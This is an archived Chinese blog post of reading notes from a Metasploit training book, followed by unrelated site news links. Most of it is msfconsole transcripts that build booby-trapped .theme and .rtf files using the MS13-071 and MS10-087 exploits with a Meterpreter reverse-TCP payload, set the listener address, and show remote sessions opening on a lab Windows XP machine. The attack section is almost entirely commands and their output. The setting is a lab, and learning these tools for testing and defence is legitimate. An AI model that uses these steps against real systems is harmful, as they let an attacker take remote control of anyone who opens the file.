【2014-06-05】某《魔鬼训练营》读书笔记:metasploit生成特定格式漏洞文件
[历史归档]本文原发布于 cstriker1407.info 个人博客内容为历史存档仅供参考。发布时间2014-06-05 标题某《魔鬼训练营》读书笔记metasploit生成特定格式漏洞文件分类操作系统 / 安全 标签metasploit某《魔鬼训练营》读书笔记metasploit生成特定格式漏洞文件第一种使用方式不通过handler直接连接第二种使用方式通过handler连接笔记仅供学习交流使用请勿进行其他用途Metasploit自带了很多漏洞文件生成模块这里只笔记下最简单的使用rootkali:~# msfconsole。。。。。。 。。。。。。 msfsearch fileformat#搜索可用模块Matching ModulesName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 。。。。。。第一种使用方式不通过handler直接连接msfuse exploit/windows/fileformat/ms13_071_theme msf exploit(ms13_071_theme)show payloads Compatible PayloadsName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。。 。。。。。。。 msf exploit(ms13_071_theme)setpayload windows/meterpreter/reverse_tcp payloadwindows/meterpreter/reverse_tcp msf exploit(ms13_071_theme)show options Module options(exploit/windows/fileformat/ms13_071_theme): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.themeyesThe themefileSRVHOST0.0.0.0yesThelocalhostto listen on. This must be an address on thelocalmachine or0.0.0.0 SRVPORT445yesThelocalport to listen on. SSLfalseno Negotiate SSLforincoming connections SSLCert no Path to a custom SSL certificate(default is randomly generated)SSLVersion SSL3 no Specify the version of SSL that should be used(accepted: SSL2, SSL3, TLS1)UNCPATH no Override the UNC path to use(Ex:\\192.168.1.1\share\exploit.scr)Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique: seh, thread, process, none LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Windows XP SP3 / Windows2003SP2 msf exploit(ms13_071_theme)setLHOST192.168.19.128 LHOST192.168.19.128 msf exploit(ms13_071_theme)exploit[*]Exploit running as background job.[*]Started reverse handler on192.168.19.128:4444 msf exploit(ms13_071_theme)[*]Generating our malicious executable...[*]Creatingmsf.themefile...[]msf.theme stored at /root/.msf4/local/msf.theme[]Let your victimopenmsf.theme[*]Ready to deliver your payload on\\192.168.19.128\mEjIom\pDuQX.scr[*]Server started.#此时在windows上打开文件msf.theme点击【 屏幕保护 】选项卡会触发漏洞如下[*]Sending stage(769024bytes)to192.168.19.129[*]Meterpreter session1opened(192.168.19.128:4444 -192.168.19.129:1155)at2014-06-0421:45:19 0800 msf exploit(ms13_071_theme)sessions Active sessionsId Type Information Connection -- ---- ----------- ----------1meterpreter x86/win32 WINXP-PRO-VM\Administrator WINXP-PRO-VM192.168.19.128:4444 -192.168.19.129:1155(192.168.19.129)msf exploit(ms13_071_theme)sessions-i1[*]Starting interaction with1... meterpretersysinfo Computer:WINXP-PRO-VM OS:Windows XP(Build2600, Service Pack2). Architecture:x86 System Language:zh_CN Meterpreter:x86/win32 meterpreter第二种使用方式通过handler连接msfuse exploit/windows/fileformat/ms10_087_rtf_pfragments_bof msf exploit(ms10_087_rtf_pfragments_bof)show payloads Compatible PayloadsName Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 。。。。。。 msf exploit(ms10_087_rtf_pfragments_bof)setpayload windows/meterpreter/reverse_tcp payloadwindows/meterpreter/reverse_tcp msf exploit(ms10_087_rtf_pfragments_bof)show options Module options(exploit/windows/fileformat/ms10_087_rtf_pfragments_bof): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.rtfyesThefilename. Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique: seh, thread, process, none LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Automatic msf exploit(ms10_087_rtf_pfragments_bof)setLHOST192.168.19.128#将LHOST设置为本地IPLHOST192.168.19.128 msf exploit(ms10_087_rtf_pfragments_bof)setLPORT8888#手动设置下LPORTLPORT8888msf exploit(ms10_087_rtf_pfragments_bof)exploit[*]Creatingmsf.rtffile...[]msf.rtf stored at /root/.msf4/local/msf.rtf msf exploit(ms10_087_rtf_pfragments_bof)back msfuse exploit/multi/handler#切换到handler模块msf exploit(handler)setpayload windows/meterpreter/reverse_tcp payloadwindows/meterpreter/reverse_tcp msf exploit(handler)show options Module options(exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options(windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique: seh, thread, process, none LHOSTyesThe listen address LPORT4444yesThe listen port Exploit target: Id Name -- ----0Wildcard Target msf exploit(handler)setLHOST192.168.19.128#设置好本地监听IPLHOST192.168.19.128 msf exploit(handler)setLPORT8888#设置好本地监听端口LPORT8888msf exploit(handler)exploit[*]Started reverse handler on192.168.19.128:8888[*]Starting the payload handler...#在windows上打开msf.rtf文件会触发漏洞如下[*]Sending stage(769024bytes)to192.168.19.129[*]Meterpreter session2opened(192.168.19.128:8888 -192.168.19.129:1163)at2014-06-0421:53:35 0800 meterpretersysinfo Computer:WINXP-PRO-VM OS:Windows XP(Build2600, Service Pack2). Architecture:x86 System Language:zh_CN Meterpreter:x86/win32 meterpreter

相关新闻

软件测试边界值分析法:原理、应用与实战技巧详解

软件测试边界值分析法:原理、应用与实战技巧详解

1. 项目概述:为什么边界值法值得你花时间深究?干了这么多年软件测试,我见过太多因为一个数字、一个字符没测到位而引发的线上事故。比如,一个电商平台的优惠券系统,满100减20,结果输入99.99元时&#xff0c…

2026/10/27 13:16:18 阅读更多 →
软著和专利根本就是两种不同的东西!90% 的创业者都搞混了

软著和专利根本就是两种不同的东西!90% 的创业者都搞混了

💡 一句话总结:软著保护代码,专利保护思想。选错了,你的知识产权可能一文不值。 🤔 为什么我要写这篇文章? 上周有个做 SaaS 的创业者找我咨询,花了 20 万申请了 5 项发明专利,结果…

2026/10/28 1:45:46 阅读更多 →
Poppins字体:打破语言边界的几何美学革命

Poppins字体:打破语言边界的几何美学革命

Poppins字体:打破语言边界的几何美学革命 【免费下载链接】Poppins Poppins, a Devanagari Latin family for Google Fonts. 项目地址: https://gitcode.com/gh_mirrors/po/Poppins 你是否曾为多语言设计项目而头疼?想象一下,你需要为…

2026/10/23 22:15:53 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/10/27 17:33:32 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/10/28 7:28:00 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/10/28 9:02:11 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/10/27 18:20:50 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/10/28 9:00:54 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/10/28 7:29:02 阅读更多 →

日新闻

周新闻

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 13:55:19 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/28 9:01:47 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/27 19:19:37 阅读更多 →